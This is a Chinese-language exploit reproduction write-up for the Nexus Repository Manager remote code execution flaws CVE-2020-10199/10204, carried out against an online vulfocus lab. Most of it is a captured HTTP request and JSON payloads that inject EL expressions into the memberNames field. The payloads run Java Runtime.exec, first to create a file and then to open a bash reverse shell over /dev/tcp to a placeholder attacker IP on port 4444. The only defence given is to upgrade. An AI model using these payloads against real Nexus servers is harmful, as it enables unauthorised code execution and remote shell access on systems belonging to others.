nexus 远程代码执行 (CVE-2020-10199/CVE-2020-10204)
漏洞介绍:
Nexus Repository Manager(NXRM)是美国Sonatype公司的一款Maven仓库管理器。 CVE-2020-10199的漏洞需要普通用户权限即可触发,而CVE-2020-10204则需要管理员权限。两个漏洞的触发原因均是不安全的执行EL表达式导致的
影响版本:
Nexus Repository Manager OSS/Pro 3.x <= 3.21.1
环境搭建:
采用在线环境 地址
漏洞复现:
访问首页
进行登录,账号admin,密码admin
burp进行抓包,构造poc
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: vulfocus.fofa.so:53494
Content-Length: 207
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
NX-ANTI-CSRF-TOKEN: 0.43926146247580067
Content-Type: application/json
Accept: */*
Origin: http://vulfocus.fofa.so:53494/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://vulfocus.fofa.so:53494/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: NX-ANTI-CSRF-TOKEN=0.43926146247580067; NXSESSIONID=c2cfc098-4d4f-41b1-b500-f9c5e4fbcf08
{
"name": "internal",
"online": true,
"storage":
{
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group":
{
"memberNames": ["$\\A{211*211*211}"]
}
}
可以看到计算出结果,证明存在漏洞
进行文件创建
{
"name": "internal",
"online": true,
"storage":
{
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group":
{
"memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}"]
}
}
创建成功,进行反弹shell(必须有自己公网的ip)
{
"name": "internal",
"online": true,
"storage":
{
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group":
{
"memberNames": ["$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bashIFS$9-i>&/dev/tcp/{自己服务器ip}/4444<&1')}"]
}
}
看到执行成功,因为这里作者穷,没有公网ip所以反弹界面没有,有钱的小伙伴可以反弹shell
漏洞防御:
官方已发布新版本修复了该漏洞,受影响的用户升级到安全版本即可
下载地址:https://help.sonatype.com/repomanager3/download/